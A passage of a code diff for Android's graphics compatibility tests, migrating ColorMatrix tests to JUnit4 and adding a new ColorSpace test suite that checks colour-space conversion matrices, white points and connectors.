+        for(int i = 0; i < 20; i++) {
+            assertEquals((float) i, ret[i], 0.0f);
         }
     }
 
-    public void testSetConcat(){
-        float[] floatA = new float[]{
-            0, 1, 2, 3, 4,
-            5, 6, 7, 8, 9,
-            9, 8, 7, 6, 5,
-            4, 3, 2, 1, 0,
+    @Test
+    public void testSetConcat() {
+        float[] floatA = new float[] {
+                0, 1, 2, 3, 4,
+                5, 6, 7, 8, 9,
+                9, 8, 7, 6, 5,
+                4, 3, 2, 1, 0,
         };
 
-        float[] floatB = new float[]{
-            1, 1, 1, 1, 1,
-            1, 1, 1, 1, 1,
-            1, 1, 1, 1, 1,
-            1, 1, 1, 1, 1,
+        float[] floatB = new float[] {
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
         };
 
         mColorMatrix.setConcat(new ColorMatrix(floatA), new ColorMatrix(floatB));
 
         float[] ret = mColorMatrix.getArray();
-        assertEquals(6.0f, ret[0]);
-        assertEquals(6.0f, ret[1]);
-        assertEquals(6.0f, ret[2]);
-        assertEquals(6.0f, ret[3]);
-        assertEquals(10.0f, ret[4]);
-        assertEquals(26.0f, ret[5]);
-        assertEquals(26.0f, ret[6]);
-        assertEquals(26.0f, ret[7]);
-        assertEquals(26.0f, ret[8]);
-        assertEquals(35.0f, ret[9]);
-        assertEquals(30.0f, ret[10]);
-        assertEquals(30.0f, ret[11]);
-        assertEquals(30.0f, ret[12]);
-        assertEquals(30.0f, ret[13]);
-        assertEquals(35.0f, ret[14]);
-        assertEquals(10.0f, ret[15]);
-        assertEquals(10.0f, ret[16]);
-        assertEquals(10.0f, ret[17]);
-        assertEquals(10.0f, ret[18]);
-        assertEquals(10.0f, ret[19]);
+        assertArrayEquals(new float[] {
+                6.0f, 6.0f, 6.0f, 6.0f, 10.f,
+                26.0f, 26.0f, 26.0f, 26.0f, 35.0f,
+                30.0f, 30.0f, 30.0f, 30.0f, 35.0f,
+                10.0f, 10.0f, 10.0f, 10.0f, 10.0f
+        }, ret, 0.0f);
     }
 
-    private void preCompare(float[] ret){
+    private void preCompare(float[] ret) {
         assertEquals(20, ret.length);
 
-        for(int i = 0; i < 20; i++){
-            assertEquals((float) i, ret[i]);
+        for(int i = 0; i < 20; i++) {
+            assertEquals((float) i, ret[i], 0.0f);
         }
     }
+
+    @Test
+    public void testEquals() {
+        float[] floatA = new float[] {
+                0, 1, 2, 3, 4,
+                5, 6, 7, 8, 9,
+                9, 8, 7, 6, 5,
+                4, 3, 2, 1, 0,
+        };
+
+        float[] floatB = new float[] {
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+        };
+
+        assertEquals(new ColorMatrix(floatA), new ColorMatrix(floatA));
+        assertEquals(new ColorMatrix(floatB), new ColorMatrix(floatB));
+
+        assertNotEquals(new ColorMatrix(floatA), new ColorMatrix(floatB));
+        assertNotEquals(new ColorMatrix(floatB), new ColorMatrix(floatA));
+
+
+        float[] floatC = new float[] {
+                1, Float.NaN, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+                1, 1, 1, 1, 1,
+        };
+
+        assertNotEquals(new ColorMatrix(floatA), new ColorMatrix(floatC));
+        assertNotEquals(new ColorMatrix(floatB), new ColorMatrix(floatC));
+        assertNotEquals(new ColorMatrix(floatC), new ColorMatrix(floatC));
+
+        ColorMatrix nanMatrix = new ColorMatrix(floatC);
+        assertNotEquals("same instance, still not equals with NaN present", nanMatrix, nanMatrix);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
new file mode 100644
index 0000000..b535edb
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/cts/ColorSpaceTest.java
@@ -0,0 +1,803 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.graphics.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.graphics.ColorSpace;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.function.DoubleUnaryOperator;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ColorSpaceTest {
+    // Column-major RGB->XYZ transform matrix for the sRGB color space
+    private static final float[] SRGB_TO_XYZ = {
+            0.412391f, 0.212639f, 0.019331f,
+            0.357584f, 0.715169f, 0.119195f,
+            0.180481f, 0.072192f, 0.950532f
+    };
+    // Column-major XYZ->RGB transform matrix for the sRGB color space
+    private static final float[] XYZ_TO_SRGB = {
+            3.240970f, -0.969244f,  0.055630f,
+           -1.537383f,  1.875968f, -0.203977f,
+           -0.498611f,  0.041555f,  1.056971f
+    };
+
+    // Column-major RGB->XYZ transform matrix for the sRGB color space and a D50 white point
+    private static final float[] SRGB_TO_XYZ_D50 = {
+            0.4360747f, 0.2225045f, 0.0139322f,
+            0.3850649f, 0.7168786f, 0.0971045f,
+            0.1430804f, 0.0606169f, 0.7141733f
+    };
+
+    private static final float[] SRGB_PRIMARIES_xyY =
+            { 0.640f, 0.330f, 0.300f, 0.600f, 0.150f, 0.060f };
+    private static final float[] SRGB_WHITE_POINT_xyY = { 0.3127f, 0.3290f };
+
+    private static final float[] SRGB_PRIMARIES_XYZ = {
+            1.939394f, 1.000000f, 0.090909f,
+            0.500000f, 1.000000f, 0.166667f,
+            2.500000f, 1.000000f, 13.166667f
+    };
+    private static final float[] SRGB_WHITE_POINT_XYZ = { 0.950456f, 1.000f, 1.089058f };
+
+    private static final DoubleUnaryOperator sIdentity = DoubleUnaryOperator.identity();
+
+    @Test
+    public void testNamedColorSpaces() {
+        for (ColorSpace.Named named : ColorSpace.Named.values()) {
+            ColorSpace colorSpace = ColorSpace.get(named);
+            assertNotNull(colorSpace.getName());
+            assertNotNull(colorSpace);
+            assertEquals(named.ordinal(), colorSpace.getId());
+            assertTrue(colorSpace.getComponentCount() >= 1);
+            assertTrue(colorSpace.getComponentCount() <= 4);
+        }
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNullName() {
+        new ColorSpace.Rgb(null, new float[6], new float[2], sIdentity, sIdentity, 0.0f, 1.0f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testEmptyName() {
+        new ColorSpace.Rgb("", new float[6], new float[2], sIdentity, sIdentity, 0.0f, 1.0f);
+    }
+
+    @Test
+    public void testName() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", new float[6], new float[2],
+                sIdentity, sIdentity, 0.0f, 1.0f);
+        assertEquals("Test", cs.getName());
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testPrimariesLength() {
+        new ColorSpace.Rgb("Test", new float[7], new float[2], sIdentity, sIdentity, 0.0f, 1.0f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testWhitePointLength() {
+        new ColorSpace.Rgb("Test", new float[6], new float[1], sIdentity, sIdentity, 0.0f, 1.0f);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNullOETF() {
+        new ColorSpace.Rgb("Test", new float[6], new float[2], null, sIdentity, 0.0f, 1.0f);
+    }
+
+    @Test
+    public void testOETF() {
+        DoubleUnaryOperator op = Math::sqrt;
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", new float[6], new float[2],
+                op, sIdentity, 0.0f, 1.0f);
+        assertEquals(0.5, cs.getOetf().applyAsDouble(0.25), 1e-5);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testNullEOTF() {
+        new ColorSpace.Rgb("Test", new float[6], new float[2], sIdentity, null, 0.0f, 1.0f);
+    }
+
+    @Test
+    public void testEOTF() {
+        DoubleUnaryOperator op = x -> x * x;
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", new float[6], new float[2],
+                sIdentity, op, 0.0f, 1.0f);
+        assertEquals(0.0625, cs.getEotf().applyAsDouble(0.25), 1e-5);
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidRange() {
+        new ColorSpace.Rgb("Test", new float[6], new float[2], sIdentity, sIdentity, 2.0f, 1.0f);
+    }
+
+    @Test
+    public void testRanges() {
+        ColorSpace cs = ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float m1 = cs.getMinValue(0);
+        float m2 = cs.getMinValue(1);
+        float m3 = cs.getMinValue(2);
+
+        assertEquals(0.0f, m1, 1e-9f);
+        assertEquals(0.0f, m2, 1e-9f);
+        assertEquals(0.0f, m3, 1e-9f);
+
+        m1 = cs.getMaxValue(0);
+        m2 = cs.getMaxValue(1);
+        m3 = cs.getMaxValue(2);
+
+        assertEquals(1.0f, m1, 1e-9f);
+        assertEquals(1.0f, m2, 1e-9f);
+        assertEquals(1.0f, m3, 1e-9f);
+
+        cs = ColorSpace.get(ColorSpace.Named.CIE_LAB);
+
+        m1 = cs.getMinValue(0);
+        m2 = cs.getMinValue(1);
+        m3 = cs.getMinValue(2);
+
+        assertEquals(0.0f, m1, 1e-9f);
+        assertEquals(-128.0f, m2, 1e-9f);
+        assertEquals(-128.0f, m3, 1e-9f);
+
+        m1 = cs.getMaxValue(0);
+        m2 = cs.getMaxValue(1);
+        m3 = cs.getMaxValue(2);
+
+        assertEquals(100.0f, m1, 1e-9f);
+        assertEquals(128.0f, m2, 1e-9f);
+        assertEquals(128.0f, m3, 1e-9f);
+
+        cs = ColorSpace.get(ColorSpace.Named.CIE_XYZ);
+
+        m1 = cs.getMinValue(0);
+        m2 = cs.getMinValue(1);
+        m3 = cs.getMinValue(2);
+
+        assertEquals(-2.0f, m1, 1e-9f);
+        assertEquals(-2.0f, m2, 1e-9f);
+        assertEquals(-2.0f, m3, 1e-9f);
+
+        m1 = cs.getMaxValue(0);
+        m2 = cs.getMaxValue(1);
+        m3 = cs.getMaxValue(2);
+
+        assertEquals(2.0f, m1, 1e-9f);
+        assertEquals(2.0f, m2, 1e-9f);
+        assertEquals(2.0f, m3, 1e-9f);
+    }
+
+    @Test
+    public void testMat3x3() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_TO_XYZ, sIdentity, sIdentity);
+
+        float[] rgbToXYZ = cs.getTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(SRGB_TO_XYZ[i], rgbToXYZ[i], 1e-5f);
+        }
+    }
+
+    @Test
+    public void testMat3x3Inverse() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_TO_XYZ, sIdentity, sIdentity);
+
+        float[] xyzToRGB = cs.getInverseTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(XYZ_TO_SRGB[i], xyzToRGB[i], 1e-5f);
+        }
+    }
+
+    @Test
+    public void testMat3x3Primaries() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_TO_XYZ, sIdentity, sIdentity);
+
+        float[] primaries = cs.getPrimaries();
+
+        assertNotNull(primaries);
+        assertEquals(6, primaries.length);
+
+        assertEquals(SRGB_PRIMARIES_xyY[0], primaries[0], 1e-5f);
+        assertEquals(SRGB_PRIMARIES_xyY[1], primaries[1], 1e-5f);
+        assertEquals(SRGB_PRIMARIES_xyY[2], primaries[2], 1e-5f);
+        assertEquals(SRGB_PRIMARIES_xyY[3], primaries[3], 1e-5f);
+        assertEquals(SRGB_PRIMARIES_xyY[4], primaries[4], 1e-5f);
+        assertEquals(SRGB_PRIMARIES_xyY[5], primaries[5], 1e-5f);
+    }
+
+    @Test
+    public void testMat3x3WhitePoint() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_TO_XYZ, sIdentity, sIdentity);
+
+        float[] whitePoint = cs.getWhitePoint();
+
+        assertNotNull(whitePoint);
+        assertEquals(2, whitePoint.length);
+
+        assertEquals(SRGB_WHITE_POINT_xyY[0], whitePoint[0], 1e-5f);
+        assertEquals(SRGB_WHITE_POINT_xyY[1], whitePoint[1], 1e-5f);
+    }
+
+    @Test
+    public void testXYZFromPrimaries_xyY() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_PRIMARIES_xyY, SRGB_WHITE_POINT_xyY,
+                sIdentity, sIdentity, 0.0f, 1.0f);
+
+        float[] rgbToXYZ = cs.getTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(SRGB_TO_XYZ[i], rgbToXYZ[i], 1e-5f);
+        }
+
+        float[] xyzToRGB = cs.getInverseTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(XYZ_TO_SRGB[i], xyzToRGB[i], 1e-5f);
+        }
+    }
+
+    @Test
+    public void testXYZFromPrimaries_XYZ() {
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("Test", SRGB_PRIMARIES_XYZ, SRGB_WHITE_POINT_XYZ,
+                sIdentity, sIdentity, 0.0f, 1.0f);
+
+        float[] primaries = cs.getPrimaries();
+
+        assertNotNull(primaries);
+        assertEquals(6, primaries.length);
+
+        // SRGB_PRIMARIES_xyY only has 1e-3 of precision, match it
+        assertEquals(SRGB_PRIMARIES_xyY[0], primaries[0], 1e-3f);
+        assertEquals(SRGB_PRIMARIES_xyY[1], primaries[1], 1e-3f);
+        assertEquals(SRGB_PRIMARIES_xyY[2], primaries[2], 1e-3f);
+        assertEquals(SRGB_PRIMARIES_xyY[3], primaries[3], 1e-3f);
+        assertEquals(SRGB_PRIMARIES_xyY[4], primaries[4], 1e-3f);
+        assertEquals(SRGB_PRIMARIES_xyY[5], primaries[5], 1e-3f);
+
+        float[] whitePoint = cs.getWhitePoint();
+
+        assertNotNull(whitePoint);
+        assertEquals(2, whitePoint.length);
+
+        // SRGB_WHITE_POINT_xyY only has 1e-3 of precision, match it
+        assertEquals(SRGB_WHITE_POINT_xyY[0], whitePoint[0], 1e-3f);
+        assertEquals(SRGB_WHITE_POINT_xyY[1], whitePoint[1], 1e-3f);
+
+        float[] rgbToXYZ = cs.getTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(SRGB_TO_XYZ[i], rgbToXYZ[i], 1e-5f);
+        }
+
+        float[] xyzToRGB = cs.getInverseTransform();
+        for (int i = 0; i < 9; i++) {
+            assertEquals(XYZ_TO_SRGB[i], xyzToRGB[i], 1e-5f);
+        }
+    }
+
+    @Test
+    public void testGetComponentCount() {
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.SRGB).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.LINEAR_SRGB).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.DISPLAY_P3).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.CIE_LAB).getComponentCount());
+        assertEquals(3, ColorSpace.get(ColorSpace.Named.CIE_XYZ).getComponentCount());
+    }
+
+    @Test
+    public void testIsSRGB() {
+        assertTrue(ColorSpace.get(ColorSpace.Named.SRGB).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.LINEAR_SRGB).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.DISPLAY_P3).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.CIE_LAB).isSrgb());
+        assertFalse(ColorSpace.get(ColorSpace.Named.CIE_XYZ).isSrgb());
+
+        ColorSpace.Rgb cs = new ColorSpace.Rgb("My sRGB", SRGB_TO_XYZ,
+                x -> Math.pow(x, 1.0f / 2.2f), x -> Math.pow(x, 2.2f));
+        assertTrue(cs.isSrgb());
+    }
+
+    @Test
+    public void testIsWideGamut() {
+        assertFalse(ColorSpace.get(ColorSpace.Named.SRGB).isWideGamut());
+        assertFalse(ColorSpace.get(ColorSpace.Named.BT709).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.DCI_P3).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.BT2020).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.ACES).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.CIE_LAB).isWideGamut());
+        assertTrue(ColorSpace.get(ColorSpace.Named.CIE_XYZ).isWideGamut());
+    }
+
+    @Test
+    public void testWhitePoint() {
+        ColorSpace.Rgb cs = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] whitePoint = cs.getWhitePoint();
+
+        assertNotNull(whitePoint);
+        assertEquals(2, whitePoint.length);
+
+        // Make sure a copy is returned
+        Arrays.fill(whitePoint, Float.NaN);
+        assertArrayNotEquals(whitePoint, cs.getWhitePoint(), 1e-5f);
+        assertSame(whitePoint, cs.getWhitePoint(whitePoint));
+        assertArrayEquals(whitePoint, cs.getWhitePoint(), 1e-5f);
+    }
+
+    @Test
+    public void testPrimaries() {
+        ColorSpace.Rgb cs = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] primaries = cs.getPrimaries();
+
+        assertNotNull(primaries);
+        assertEquals(6, primaries.length);
+
+        // Make sure a copy is returned
+        Arrays.fill(primaries, Float.NaN);
+        assertArrayNotEquals(primaries, cs.getPrimaries(), 1e-5f);
+        assertSame(primaries, cs.getPrimaries(primaries));
+        assertArrayEquals(primaries, cs.getPrimaries(), 1e-5f);
+    }
+
+    @Test
+    public void testRGBtoXYZMatrix() {
+        ColorSpace.Rgb cs = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] rgbToXYZ = cs.getTransform();
+
+        assertNotNull(rgbToXYZ);
+        assertEquals(9, rgbToXYZ.length);
+
+        // Make sure a copy is returned
+        Arrays.fill(rgbToXYZ, Float.NaN);
+        assertArrayNotEquals(rgbToXYZ, cs.getTransform(), 1e-5f);
+        assertSame(rgbToXYZ, cs.getTransform(rgbToXYZ));
+        assertArrayEquals(rgbToXYZ, cs.getTransform(), 1e-5f);
+    }
+
+    @Test
+    public void testXYZtoRGBMatrix() {
+        ColorSpace.Rgb cs = (ColorSpace.Rgb) ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] xyzToRGB = cs.getInverseTransform();
+
+        assertNotNull(xyzToRGB);
+        assertEquals(9, xyzToRGB.length);
+
+        // Make sure a copy is returned
+        Arrays.fill(xyzToRGB, Float.NaN);
+        assertArrayNotEquals(xyzToRGB, cs.getInverseTransform(), 1e-5f);
+        assertSame(xyzToRGB, cs.getInverseTransform(xyzToRGB));
+        assertArrayEquals(xyzToRGB, cs.getInverseTransform(), 1e-5f);
+    }
+
+    @Test
+    public void testRGBtoXYZ() {
+        ColorSpace cs = ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] source = { 0.75f, 0.5f, 0.25f };
+        float[] expected = { 0.3012f, 0.2679f, 0.0840f };
+
+        float[] r1 = cs.toXyz(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayNotEquals(source, r1, 1e-5f);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r3 = { source[0], source[1], source[2] };
+        assertSame(r3, cs.toXyz(r3));
+        assertEquals(3, r3.length);
+        assertArrayEquals(r1, r3, 1e-5f);
+    }
+
+    @Test
+    public void testXYZtoRGB() {
+        ColorSpace cs = ColorSpace.get(ColorSpace.Named.SRGB);
+
+        float[] source = { 0.3012f, 0.2679f, 0.0840f };
+        float[] expected = { 0.75f, 0.5f, 0.25f };
+
+        float[] r1 = cs.fromXyz(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayNotEquals(source, r1, 1e-5f);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r3 = { source[0], source[1], source[2] };
+        assertSame(r3, cs.fromXyz(r3));
+        assertEquals(3, r3.length);
+        assertArrayEquals(r1, r3, 1e-5f);
+    }
+
+    @Test
+    public void testConnect() {
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.get(ColorSpace.Named.DCI_P3));
+
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), connector.getSource());
+        assertSame(ColorSpace.get(ColorSpace.Named.DCI_P3), connector.getDestination());
+        assertSame(ColorSpace.RenderIntent.PERCEPTUAL, connector.getRenderIntent());
+
+        connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.get(ColorSpace.Named.SRGB));
+
+        assertSame(connector.getDestination(), connector.getSource());
+        assertSame(ColorSpace.RenderIntent.RELATIVE, connector.getRenderIntent());
+
+        connector = ColorSpace.connect(ColorSpace.get(ColorSpace.Named.DCI_P3));
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), connector.getDestination());
+
+        connector = ColorSpace.connect(ColorSpace.get(ColorSpace.Named.SRGB));
+        assertSame(connector.getSource(), connector.getDestination());
+    }
+
+    @Test
+    public void testConnector() {
+        // Connect color spaces with same white points
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB));
+
+        float[] source = { 1.0f, 0.5f, 0.0f };
+        float[] expected = { 0.8912f, 0.4962f, 0.1164f };
+
+        float[] r1 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayNotEquals(source, r1, 1e-5f);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r3 = { source[0], source[1], source[2] };
+        assertSame(r3, connector.transform(r3));
+        assertEquals(3, r3.length);
+        assertArrayEquals(r1, r3, 1e-5f);
+
+        connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.ADOBE_RGB),
+                ColorSpace.get(ColorSpace.Named.SRGB));
+
+        float[] tmp = source;
+        source = expected;
+        expected = tmp;
+
+        r1 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayNotEquals(source, r1, 1e-5f);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        r3 = new float[] { source[0], source[1], source[2] };
+        assertSame(r3, connector.transform(r3));
+        assertEquals(3, r3.length);
+        assertArrayEquals(r1, r3, 1e-5f);
+    }
+
+    @Test
+    public void testAdaptedConnector() {
+        // Connect color spaces with different white points
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.get(ColorSpace.Named.PRO_PHOTO_RGB));
+
+        float[] source = new float[] { 1.0f, 0.0f, 0.0f };
+        float[] expected = new float[] { 0.70226f, 0.2757f, 0.1036f };
+
+        float[] r = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r);
+        assertEquals(3, r.length);
+        assertArrayNotEquals(source, r, 1e-5f);
+        assertArrayEquals(expected, r, 1e-4f);
+    }
+
+    @Test
+    public void testAdaptedConnectorWithRenderIntent() {
+        // Connect a wider color space to a narrow color space
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.DCI_P3),
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.RenderIntent.RELATIVE);
+
+        float[] source = { 0.9f, 0.9f, 0.9f };
+
+        float[] relative = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(relative);
+        assertEquals(3, relative.length);
+        assertArrayNotEquals(source, relative, 1e-5f);
+        assertArrayEquals(new float[] { 0.8862f, 0.8862f, 0.8862f }, relative, 1e-4f);
+
+        connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.DCI_P3),
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.RenderIntent.ABSOLUTE);
+
+        float[] absolute = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(absolute);
+        assertEquals(3, absolute.length);
+        assertArrayNotEquals(source, absolute, 1e-5f);
+        assertArrayNotEquals(relative, absolute, 1e-5f);
+        assertArrayEquals(new float[] { 0.8475f, 0.9217f, 0.8203f }, absolute, 1e-4f);
+    }
+
+    @Test
+    public void testIdentityConnector() {
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.get(ColorSpace.Named.SRGB));
+
+        assertSame(connector.getSource(), connector.getDestination());
+        assertSame(ColorSpace.RenderIntent.RELATIVE, connector.getRenderIntent());
+
+        float[] source = new float[] { 0.11112f, 0.22227f, 0.444448f };
+
+        float[] r = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r);
+        assertEquals(3, r.length);
+        assertArrayEquals(source, r, 1e-5f);
+    }
+
+    @Test
+    public void testConnectorTransformIdentity() {
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.DCI_P3),
+                ColorSpace.get(ColorSpace.Named.DCI_P3));
+
+        float[] source = { 1.0f, 0.0f, 0.0f };
+        float[] expected = { 1.0f, 0.0f, 0.0f };
+
+        float[] r1 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        float[] r3 = { source[0], source[1], source[2] };
+        assertSame(r3, connector.transform(r3));
+        assertEquals(3, r3.length);
+        assertArrayEquals(r1, r3, 1e-5f);
+    }
+
+    @Test
+    public void testAdaptation() {
+        ColorSpace adapted = ColorSpace.adapt(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.ILLUMINANT_D50);
+
+        float[] sRGBD50 = {
+                0.43602175f, 0.22247513f, 0.01392813f,
+                0.38510883f, 0.71690667f, 0.09710153f,
+                0.14308129f, 0.06061824f, 0.71415880f
+        };
+
+        assertArrayEquals(sRGBD50, ((ColorSpace.Rgb) adapted).getTransform(), 1e-7f);
+
+        adapted = ColorSpace.adapt(
+                ColorSpace.get(ColorSpace.Named.SRGB),
+                ColorSpace.ILLUMINANT_D50,
+                ColorSpace.Adaptation.BRADFORD);
+        assertArrayEquals(sRGBD50, ((ColorSpace.Rgb) adapted).getTransform(), 1e-7f);
+    }
+
+    @Test
+    public void testImplicitSRGBConnector() {
+        ColorSpace.Connector connector1 = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.DCI_P3));
+
+        assertSame(ColorSpace.get(ColorSpace.Named.SRGB), connector1.getDestination());
+
+        ColorSpace.Connector connector2 = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.DCI_P3),
+                ColorSpace.get(ColorSpace.Named.SRGB));
+
+        float[] source = { 0.6f, 0.9f, 0.7f };
+        assertArrayEquals(
+                connector1.transform(source[0], source[1], source[2]),
+                connector2.transform(source[0], source[1], source[2]), 1e-7f);
+    }
+
+    @Test
+    public void testLab() {
+        ColorSpace.Connector connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.CIE_LAB));
+
+        float[] source = { 100.0f, 0.0f, 0.0f };
+        float[] expected = { 1.0f, 1.0f, 1.0f };
+
+        float[] r1 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        source = new float[] { 100.0f, 0.0f, 54.0f };
+        expected = new float[] { 1.0f, 0.9925f, 0.5762f };
+
+        float[] r2 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r2);
+        assertEquals(3, r2.length);
+        assertArrayEquals(expected, r2, 1e-3f);
+
+        connector = ColorSpace.connect(
+                ColorSpace.get(ColorSpace.Named.CIE_LAB), ColorSpace.RenderIntent.ABSOLUTE);
+
+        source = new float[] { 100.0f, 0.0f, 0.0f };
+        expected = new float[] { 1.0f, 0.9910f, 0.8651f };
+
+        r1 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(expected, r1, 1e-3f);
+
+        source = new float[] { 100.0f, 0.0f, 54.0f };
+        expected = new float[] { 1.0f, 0.9853f, 0.4652f };
+
+        r2 = connector.transform(source[0], source[1], source[2]);
+        assertNotNull(r2);
+        assertEquals(3, r2.length);
+        assertArrayEquals(expected, r2, 1e-3f);
+    }
+
+    @Test
+    public void testXYZ() {
+        ColorSpace xyz = ColorSpace.get(ColorSpace.Named.CIE_XYZ);
+
+        float[] source = { 0.32f, 0.43f, 0.54f };
+
+        float[] r1 = xyz.toXyz(source[0], source[1], source[2]);
+        assertNotNull(r1);
+        assertEquals(3, r1.length);
+        assertArrayEquals(source, r1, 1e-7f);
+
+        float[] r2 = xyz.fromXyz(source[0], source[1], source[2]);
+        assertNotNull(r2);
+        assertEquals(3, r2.length);
+        assertArrayEquals(source, r2, 1e-7f);
+
